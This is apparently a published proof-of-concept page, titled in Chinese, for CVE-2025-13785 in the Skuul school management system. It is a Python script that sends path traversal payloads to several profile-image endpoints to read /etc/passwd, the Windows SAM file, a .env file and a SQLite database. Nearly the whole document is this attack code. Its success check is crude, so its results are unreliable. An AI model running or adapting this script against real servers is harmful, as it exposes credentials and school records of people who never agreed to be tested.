CVE-2025-13785 Skuul学校管理系统Image Handler信息泄露漏洞

import requests import sys # CVE-2025-13785 PoC - Information Disclosure in Skuul School Management System # Target: /user/profile Image Handler component def exploit_cve_2025_13785(target_url): """ Exploit for CVE-2025-13785: Information Disclosure in Skuul School Management System The vulnerability exists in the Image Handler component at /user/profile """ # Target endpoint for profile image handler endpoints = [ "/user/profile", "/user/profile/avatar", "/api/user/profile/image", "/storage/profile-images" ] # Malicious payloads to test for path traversal and information disclosure payloads = [ "../../../../etc/passwd", "../../../../../../etc/passwd", "..\\..\\..\\..\\windows\\system32\\config\\sam", "../../../../var/www/html/.env", "../../../../storage/database.sqlite" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-13785 - Skuul School Management System Information Disclosure") for endpoint in endpoints: for payload in payloads: try: # Test for path traversal in image handler url = target_url.rstrip('/') + endpoint params = {'image': payload, 'file': payload} response = requests.get(url, params=params, timeout=10) if response.status_code == 200: # Check if sensitive data was leaked if 'root:' in response.text or '[' in response.text: print(f"[!] VULNERABLE! Endpoint: {endpoint}") print(f"[!] Payload: {payload}") print(f"[!] Response length: {len(response.text)}") return True except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {str(e)}") print("[*] Testing complete. No obvious vulnerability detected.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13785.py <target_url>") print("Example: python cve-2025-13785.py http://target.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_13785(target)